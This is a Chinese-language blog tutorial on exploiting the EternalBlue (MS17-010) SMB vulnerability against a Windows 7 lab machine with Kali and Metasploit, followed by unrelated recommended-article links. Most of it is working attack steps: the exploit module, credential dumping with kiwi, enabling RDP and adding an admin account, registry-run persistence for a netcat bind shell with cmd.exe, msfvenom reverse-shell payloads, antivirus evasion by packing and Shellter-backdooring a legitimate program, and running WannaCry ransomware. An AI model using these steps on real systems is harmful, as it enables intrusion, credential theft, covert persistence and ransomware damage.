当前位置:   article > 正文

Kali--MSF-永恒之蓝详解(复现、演示、远程、后门、加壳、修复)

永恒之蓝

目录

一、永恒之蓝概述

二、SMB协议

三、准备工作

四、漏洞复现

1、主机发现

2、端口扫描

3、利用模块

五、演示功能

1.获取cmd

2.捕获屏幕

3.上传文件

4.下载文件

5.远程登录

6.上传后门

7.免杀加壳

8.运行wannacry

9.清除日志

六、预防方案

1.打开防火墙

2.安装杀毒软件

3.禁用445端口 

4.IPsec关闭高危端口

5.注册表关闭445端口

6.安装补丁

七、总结


一、永恒之蓝概述

        永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry程序,使全世界大范围内遭受了该程序,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。但不过在该程序出来不久就被微软通过打补丁修复了。

二、SMB协议

        SMB(Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。

三、准备工作

  • 虚拟机:VMware
  • 靶机:Windows 7(IP:192.168.184.138)
  • 攻击机:Kali (IP:192.168.184.130)
  • 工具:Kali中的nmap   metasploit(MSF)

四、漏洞复现

1、主机发现

   a.前提win7关闭防火墙

不关闭防火墙有可能nmap扫描不到其端口,MSF利用不了永恒之蓝漏洞。

 可以ipconfig ifconfig分别查看win7和kali中的ip地址:

win7

    

 kali

 2.用kali中的nmap 扫描网段做主机发现

IP地址:<网络号>+<主机号>

 

A类:10.0.0.0~10.255.255.255

B类:172.16.0.0~173.31.255.255

C类:192.168.0.0~192.168.255.255

/24就是代表24个1,即子网掩码为255.255.255.0

192.168.184.0/24   “/” 后面的数字控制前面 ip 地址的掩码,以表示后面有几位可以变。

nmap -sP 192.168.184.0/24  #sP(ping扫描)

 .1 .2 .254 都是虚拟机自带的地址 130是kali本身的 138是扫出来的win7

3.用kali中的metasploit(MSF)做主机发现 

  1. msfconsole //启动MSF
  2. use auxiliary/scanner/discovery/arp_sweep //use使用模块
  3. set rhosts 192.168.184.0/24 //设置扫描网段
  4. set threads 50 //提高线程
  5. run //运行

 这是以上的方法做主机发现,其实还有很多。

  • Windows 7  IP:192.168.184.138
  • Kali   IP:192.168.184.130

 让他们ping一下,看看是否联通。

kali——ping——win7

 win7——ping——kali

 

 2、端口扫描

nmap -sT  扫描端口:

nmap -sT 192.168.184.138   #sT(使用TCP进行扫描)

 MSF 端口扫描:

  1. use auxiliary/scanner/portscan/tcp //使用模块
  2. set rhosts 192.168.184.138 //设置远程ip
  3. run

扫出来端口139 135 445 是开放的,如果没有开启防火墙的状况下是可以直接利用的(前面我们已经关掉了)

3、利用模块

    MSF 搜索永恒之蓝的漏洞  输入search ms17-010 (微软 永恒之蓝编号ms17-010)

1.  blue就是永恒之蓝的漏洞

2. psexec是可利用的一个javascripe(JS)的一个模块

3.  command是运行cmd的

4. 最后一个是探测的模块

a.我们先利用探测的模块看一下我们的这台win7有没有可能存在漏洞。

  1. use auxiliary/scanner/smb/smb_ms17_010 //使用模块 use 3也可以
  2. show options //查看要配置的参数
  3. set rhosts 192.168.184.138 //设置远程ip
  4. run //运行

 我们扫出来是 likely 可能的   可能存在漏洞 good!

b.我们在利用永恒之蓝的模块

  1. use exploit/windows/smb/ms17_010_eternalblue
  2. show options
  3. set rhosts 192.168.184.138
  4. exploit/run

 msf>命令

 慢慢跑

 成功!!!

运行成功会出现meterpreter >
Meterpreter 是 Metasploit 的一个扩展模块,可以调用 Metasploit 的一些功能,
对目标系统进行更深入的渗透,如进入cmd、获取屏幕、上传/下载文件、创建持久后门等。

五、演示功能

1.获取cmd

  1. meterpreter > shell
  2. chcp 65001 //转换一下编码 要不然会乱码
  3. ipconfig #查看ip
  4. whoami #查看当前用户名称

 2.捕获屏幕

meterpreter > screenshot   #屏幕截图

 查看捕获的图片:

3.上传文件

meterpreter > upload user.txt c://

 到win7看一看,果然有了。

 4.下载文件

meterpreter > download d://1.txt

 5.远程登录

kiwi模块查看密码:

使用kiwi模块需要system管理员权限:

  1. meterpreter > load kiwi //加载kiwi模块
  2. Loading extension kiwi...Success.
  3. creds_all #列举所有凭据
  4. exit #退出

k:k123456 

MSF启动目标机的3389端口

windows远程连接默认是不允许连接的:

 我们总不能手动在win7上允许远程连接吧,这样我们怎么能算得上Hacker呢,哈哈哈...

 启动win7的3389端口即远程桌面协议,执行远程链接命令:

  1. meterpreter > run post/windows/manage/enable_rdp //启用目标主机的3389端口远程桌面
  2. meterpreter > idletime //查看远程用户的空闲时长,空闲时间长再进行远程登陆,减小被发现的风险。

 

在次查看win7远程:

 

root@kali:~# rdesktop 192.168.184.138  //使用 rdesktop 命令远程连接桌面

 输入刚刚查到的账户和密码  k:k123456 

 连接成功!!!

 由于这样我们远程登录win7用户k,在win7会把用户k顶下去:

创建用户:

 所以我们要创建一个新用户用来登录:

  1. meterpreter > shell #进入命令行
  2. net user kill 123 /add #新建用户kill 密码123
  3. net localgroup administrators kill /add #将用户kill添加到Win7的本地管理员组中,获得管理员权限
  4. net user #查看用户

root@kali:~# rdesktop 192.168.184.138  //使用 rdesktop 命令远程连接桌面

 但是这样也会被win7的当前用户所以提示要不要让远程用户远程连接到本机:

点击确定---kali连接到win7,点击取消kali连不上win7.

确定 :

 取消:

 

 查一查吧!!!

chat-GPT是真好用! 

 按照GPT的来

  1. 输入“gpedit.msc”并回车,打开本地组策略编辑器。

  2. 在组策略编辑器中依次展开“计算机配置”、“管理模板”、“Windows组件”、“远程桌面服务”和“远程桌面会话主机”。

  3. 右侧窗口中找到“限制每个用户只能有一个会话”选项,将其禁用。

  4. 保存设置并关闭组策略编辑器。

我的win7专业版好像不行。。。设置完成还是不能多用户远程登录,还是会挤掉。。。

好在找到了破解补丁!!!破解---重启!!!

重启win7 在次连接:成功!!!

 kali远程连接:rdesktop 192.168.184.138

win7没有掉: 

6.上传后门

在网络工具中有“瑞士军刀”美誉的NetCat,上传nc.exe到win7。

msf上传到win7 的c盘windows下

upload /usr/share/windows-binaries/nc.exe  C:\\Windows   

 win7看一下:

当目标机开机,程序后台运行,且监听端口为7777,这个端口可以自己设置。

reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\nc.exe -Ldp 7777 -e cmd.exe'

新建一个防火墙规则,允许7777端口访问网络。可以通过reboot命令重起目标机,然后通过nc -v ip+端口进行连接。

 netsh firewall add portopening TCP 7777 "kill" ENABLE ALL 

对应的win7: 

 通过nc -v连接靶机进入控制台 

nc -v 192.168.184.145 7777 

whoami 查看用户是kill 因为我们是开启监听kill用户的7777,所以nc上线到的是kill用户: 

 

 7.免杀加壳

MSF生成.exe的马:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.184.130 lport=4444 -f exe -o shell.exe

 我们把nc军刀和生成的.exe马都上传到win7的windows下addins目录(因为这是windows的默认自带目录)

  1. upload /root/kiss/nc.exe c:\\Windows\\addins
  2. upload /root/kiss/shell.exe c:\\Windows\\addins
  3. #长传 kali木马的目录 上传到目标主机的目录

 查看win7下的目录:

 360,火绒检测一下,肯定是报毒的:

给木马加壳:

加壳用到的工具是Shielden:

 一个奇葩的事:nc军刀加壳后过火绒没过360,生成的.exe马加壳后过360没过火绒。

不过这样是不行的,因为只是没了360火绒的检测,可是还要运行.exe,运行的时候大概率还是会被杀掉的。

shellter附加:

大概意思是把木马里的代码插入到正常的可执行文件中,这样增加木马的混淆性,使其达到免杀的效果。

kali新版本已经没有了,安装命令:

  1. apt-get update
  2. apt-get install shellter
  3. dpkg --add-architecture i386 && apt-get update && apt-get install wine32

我的已经下好了: 

 shellter:命令行启动

如果有中文乱码,是因为缺少字体,下载字体就可以了:

 链接:https://pan.baidu.com/s/1Pbj_mUd3fPR7juqsjeizFA 
提取码:8888

kali命令:

  1. unzip Fonts.zip #解压.zip
  2. cp Fonts/* ~/.wine/drive_c/windows/Fonts/ #把Fonts文件夹内所有字体复制到wine的映射目录内

 打开~/.wine/drive_c/windows/Fonts,确保字体已复制(原本这个文件夹是空的)

 终端输入winecfg,然后点击“显示”界面,可以发现红框处由原来的乱码变成了可显示的中文字体。

 

 好了,正片开始:

 下载文件搜索工具everything

我们用32位everything.exe,可点该链接下载

下载好以后是一个压缩包,解压之后把里面的everything.exe放到kali中

添加后门 :

启动shellter后,在选择模式后选择A,自动模式:

然后输入要加后门文件的路径:

  1. A
  2. /root/kiss/bao/Everything.exe

 回车后等一会,要选择是否启用隐身模式这里选择N

 看图填就行:

 监听ip填写kali的,端口填6666就好: 

回车:

这个时候木马就已经生成成功了,生成的木马替换了原本PE文件的位置,原本的PE文件存在Shellter_Backups

Shielden加壳: 

不加壳能够过360,过不了火绒:

 还是要加壳滴:

 加壳后:

 先利用永恒之蓝把木马上传到win7中: (可以上传指更深层的目录)

  

upload /root/kiss/bao/Everything_se.exe c:\\

 查看一下

 MSF运行Everything.exe即监听成功:

先开启端口

  1. MSF永恒之蓝运行:
  2. shell进入cmd
  3. 开启6666端口
  4. netsh advfirewall firewall add rule name="Open Port 6666" dir=in action=allow protocol=TCP localport=6666 enable=yes
  5. cd 到带有木马下的目录
  6. Everything_se.exe 运行该木马

等开启监听在运行也可以

  1. MSF启动监听:
  2. use exploit/multi/handler
  3. set payload windows/meterpreter/reverse_tcp
  4. set lhost 192.168.184.138
  5. set lport 6666
  6. run

 最后的运行:

大概就是先开启监听,然后在利用MSF永恒之蓝运行:

查看win7,发现Everything.exe在运行:

 当然我们也可以给木马加入开机自启,然后MSF开启监听,直接上线到win7:

reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\Everything_se.exe -Ldp 6666 -e cmd.exe'

 设置完成后win7重启,在reboot重启也行.

上线MSF:成功!!! 

8.运行wannacry

MSF upload 上传wcry.exe 并运行:

 运行即勒索:

 尝试关闭wcry.exe,结果失败:

 好在软件还可以进去,360,火绒扫一扫吧:

 wannacry:360火绒能奈我何声明:本文内容由网友自发贡献,转载请注明出处:【wpsshop】

推荐阅读
  • 文章浏览阅读2.2k次,点赞98次,收藏98次。expect是由DonLibes基于Tcl(ToolCommandLanguage)语言开发的,是一种脚本语言,主要应用于自动化交互式操作的场景,借助Expect处理交互的命令,可以将交互过程... [详细]

  • 文章浏览阅读1w次,点赞141次,收藏140次。探索LinuxDocker管理神器Portainer,解锁远程访问技巧,轻松图形化管理你的容器。LinuxDocker图形化工具Portainer远程访问文章目录前言1.部署Portainer... [详细]

  • 文章浏览阅读4.6k次,点赞126次,收藏147次。操作系统进程状态,以及Linux中的进程状态,僵尸进程,孤儿进程【Linux】探索Linux进程状态|僵尸进程|孤儿进程最近,我发现了一个超级强大的人工智能学习网站。它以通俗易懂的方式呈现... [详细]

  • 文章浏览阅读5.1k次,点赞151次,收藏135次。LinuxAMH服务器管理面板远程访问LinuxAMH服务器管理面板远程访问文章目录1.前言2.Linux安装AMH面板3.本地访问AMH面板4.Linux安装Cpolar5.配置AMH面... [详细]

  • 文章浏览阅读1.1w次,点赞32次,收藏103次。Linux安装MySQL【超详细版】_linux安装mysqllinux安装mysql一、安装MySQL的准备工作1.查看系统版本cat/etc/redhat-release12.查看系统是... [详细]

  • 文章浏览阅读723次。拿到dotnet-sdk-8.0.100-linux-x64.tar.gz文件。1.有些环境比较老的服务器,会出现如下的错误提示,需要更新c++库。执行命令检测是否安装成功,执行dotnet--version。2.把文... [详细]

  • 文章浏览阅读1.6k次,点赞77次,收藏70次。ssh操作需要免密附上本机免密脚本ssh_keygen.sh。执行完脚本成功登录。【Linux】Centos7shell实现MySQL5.7tar一键安装... [详细]

  • 文章浏览阅读987次,点赞43次,收藏32次。使用上面的Cpolarhttps公网地址,在任意设备的浏览器进行访问,即可成功看到我们AMH面板界面,这样一个公网地址且可以远程访问就创建好了,使用了cpolar的公网域名,无需自己购买云服务器... [详细]

  • 文章浏览阅读950次,点赞49次,收藏46次。本篇博客作为Linux常见指令的总结,主要是方便个人进行回顾使用。以上就是我对于Linux常见指令的总结。!!Linux:常见指令个人主页:个人主页个人专栏:《数据结构》《C语言》《C++》文章... [详细]

  • 文章浏览阅读2.8w次,点赞73次,收藏317次。ps命令用来查看系统进程,ps-ef:查看所有进程ps-aux:查看所有进程ps-ef|greptomcat:查看指定进程_psefgrep命令看进程psefgrep命令看进程「作者主页」:... [详细]

  • 文章浏览阅读1.2w次,点赞64次,收藏74次。Crontab是一个在Unix和Linux操作系统上用于定时执行任务的工具。它允许用户创建和管理计划任务,以便在特定的时间间隔或时间点自动运行命令或脚本。Crontab是crontable的缩... [详细]

  • 文章浏览阅读1.1k次,点赞76次,收藏65次。Linux|创建|删除|查看|基本命名详解Linux|创建|删除|查看|基本命名详解Linux|创建|删除|查看|基本命名详解文章目录Linux|创建|删除|查看|基本命名详解前言一、安装Li... [详细]

  • DataEase是开源的数据可视化分析工具,帮助用户快速分析数据并洞察业务趋势,从而实现业务的改进与优化。是开源的数据可视化分析工具,帮助用户快速分析数据并洞察业务趋势,从而实现业务的改进与优化。在本地搭建后,借助cpolar内网穿透实现远... [详细]

  • 介绍socket编程,简单实现一个UDP服务器✨✨【Linux】套接字编程目录套接字IP+PORTTCP和UDP的介绍TCPUDP网络字节序转换接口UDP服务器的编写服务器的初始化 socketbindsockaddr结构服务器的... [详细]

  • 本文是对Linux中文件和目录权限的总结。以上就是我对于Linux中文件和目录权限的总结。!!Linux:权限个人主页:个人主页个人专栏:《数据结构》《C语言》《C++》《Linux》文章目录前言一、Linux权限的管理文件访问者的分类(身... [详细]

  • 看了这篇文章你将学到软硬链接的使用,以及制作自己的动静态库,并使用他们✨✨_动态库的软连接动态库的软连接系列文章收录于【Linux】文件系统 专栏关于文件描述符与文件重定向的相关内容可以移步 文件描述符与重定向操作。可以... [详细]

  • 讲述Linux的基本指令:man、cp、mv、cat、more、less、head、tail等指令。【走进Linux的世界】Linux---基本指令(2)个人主页:平行线也会相交欢迎点赞... [详细]

  • 上一篇文章中我们讲到了很多的网络名词以及相关知识,下面我们就直接进入udp服务器的实现。一、udp服务器的实现cc=g++.PHONY:allclean:我们通过all就可以创建多个可执行程序了,对于cc这个变量我们设置为g++,以后如果想... [详细]

  • Linux防火墙服务和区的不同配置操作,放行端口或服务等_linux防火墙配置linux防火墙配置目录防火墙介绍zones预定义服务firewalld启动与停止查看firewalld当前状态和设置使⽤CLI查看firewalld设置fire... [详细]

  • Linux MeterSphere一站式开源持续测试平台远程访问
    MeterSphere是一站式开源持续测试平台,涵盖测试跟踪、接口测试、UI测试和性能测试等功能,全面兼容JMeter、Selenium等主流开源标准,有效助力开发和测试团队充分利用云弹性进行高度可扩展的自动化测试,加速高质量的软件交付,推... [详细]

相关标签